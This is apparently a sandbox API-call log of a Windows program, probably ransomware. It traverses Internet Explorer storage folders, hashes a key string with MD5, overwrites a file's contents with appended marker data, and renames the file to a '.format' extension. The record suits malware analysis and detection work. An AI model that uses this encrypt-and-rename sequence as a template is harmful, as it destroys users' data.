[0069.960] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x605dd8a0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x605dd8a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x696aec80, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0xd, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.google[1].xml", cAlternateFileName="WWWGOO~1.XML")) returned 0 [0069.960] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.960] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.960] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.960] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\") returned="UV0DUWVB\\" [0069.960] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0069.960] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0069.960] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0069.960] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0069.960] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0069.961] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.961] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.961] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.961] PathFindFileNameW (pszPath="") returned="" [0069.961] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\UV0DUWVB\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.961] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.961] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 0 [0069.961] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.961] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.961] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.961] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\") returned="VGMTOI09\\" [0069.961] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\") returned="DOMStore\\" [0069.961] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\") returned="Internet Explorer\\" [0069.961] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\") returned="Microsoft\\" [0069.962] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0069.962] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0069.962] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0069.962] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0069.962] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0069.962] PathFindFileNameW (pszPath="") returned="" [0069.962] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0069.962] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x510b3550, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0069.962] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 1 [0069.962] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml") returned=".xml" [0069.962] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0069.963] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=836) returned 1 [0069.963] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0069.966] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x31e, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.966] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0069.967] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x3183008 [0069.967] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0069.967] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0069.967] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x344, lpOverlapped=0x0) returned 1 [0069.967] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.967] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x25) returned 0x3298740 [0069.967] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.967] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0069.967] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abf90) returned 1 [0069.968] CryptCreateHash (in: hProv=0x6abf90, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0069.968] CryptHashData (hHash=0x31bee20, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0069.968] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0069.968] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x11) returned 0x31596d0 [0069.968] CryptGetHashParam (in: hHash=0x31bee20, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0069.968] GetLastError () returned 0x0 [0069.968] CryptDestroyHash (hHash=0x31bee20) returned 1 [0069.968] CryptReleaseContext (hProv=0x6abf90, dwFlags=0x0) returned 1 [0069.968] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3298740 | out: hHeap=0x5d0000) returned 1 [0069.968] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x340) returned 0x328dbb8 [0069.968] SetFilePointer (in: hFile=0x5c8, lDistanceToMove=5, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5 [0069.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3183008 | out: hHeap=0x5d0000) returned 1 [0069.969] WriteFile (in: hFile=0x5c8, lpBuffer=0x328dbb8*, nNumberOfBytesToWrite=0x33f, lpNumberOfBytesWritten=0x38cfb24, lpOverlapped=0x0 | out: lpBuffer=0x328dbb8*, lpNumberOfBytesWritten=0x38cfb24*=0x33f, lpOverlapped=0x0) returned 1 [0069.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328dbb8 | out: hHeap=0x5d0000) returned 1 [0069.969] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x344, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0069.969] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cdf8 [0069.969] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x428) returned 0x3289700 [0069.969] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", cchWideChar=-1, lpMultiByteStr=0x3289700, cbMultiByte=1064, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="81oARQYkv7HRZ1Uax96JNYXomIeOk5BsdEuGRyWb", lpUsedDefaultChar=0x0) returned 41 [0069.969] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x430) returned 0x32563b0 [0069.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3289700 | out: hHeap=0x5d0000) returned 1 [0069.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x327cdf8 | out: hHeap=0x5d0000) returned 1 [0069.969] WriteFile (in: hFile=0x5c8, lpBuffer=0x32563b0*, nNumberOfBytesToWrite=0x28, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x32563b0*, lpNumberOfBytesWritten=0x38cfb2c*=0x28, lpOverlapped=0x0) returned 1 [0069.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32563b0 | out: hHeap=0x5d0000) returned 1 [0069.969] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0069.969] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0069.969] CloseHandle (hObject=0x5c8) returned 1 [0069.969] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xe0) returned 0x328ccb8 [0069.969] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x8f0) returned 0x3178dd8 [0069.969] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x328ccb8 | out: hHeap=0x5d0000) returned 1 [0069.969] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Microsoft\\Internet Explorer\\DOMStore\\VGMTOI09\\www.msn[1].xml.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\locallow\\microsoft\\internet explorer\\domstore\\vgmtoi09\\www.msn[1].xml.format")) returned 1 [0069.970] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.970] VirtualFree (lpAddress=0x2990000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0069.971] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3152000 | out: hHeap=0x5d0000) returned 1 [0069.971] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x510b3550, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x510b3550, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x52878dd0, ftLastWriteTime.dwHighDateTime=0x1d2faf3, nFileSizeHigh=0x0, nFileSizeLow=0x344, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="www.msn[1].xml", cAlternateFileName="WWWMSN~1.XML")) returned 0 [0069.971] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0069.971] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0069.971] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3185bd8 | out: hHeap=0x5d0000) returned 1 [0069.971] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0069.971] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edff0 [0069.971] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0069.971] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.971] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.971] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.971] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.971] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.971] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.971] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.971] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.971] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.971] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x32543a8 [0069.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32543a8 | out: hHeap=0x5d0000) returned 1 [0069.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.972] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.972] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.973] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0069.973] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0069.973] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.973] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.973] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.973] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.973] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.973] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.973] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.973] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.973] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.973] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.973] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.973] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.973] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.973] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.973] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0069.973] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.973] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.973] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.973] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.973] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.973] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.973] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.973] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.973] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.973] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.973] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.973] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.973] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.973] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.974] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.974] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.974] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.974] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.974] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.974] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0069.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.974] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.974] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0069.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0069.974] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31edc00 | out: hHeap=0x5d0000) returned 1 [0069.974] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xa0) returned 0x31edc00 [0069.974] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 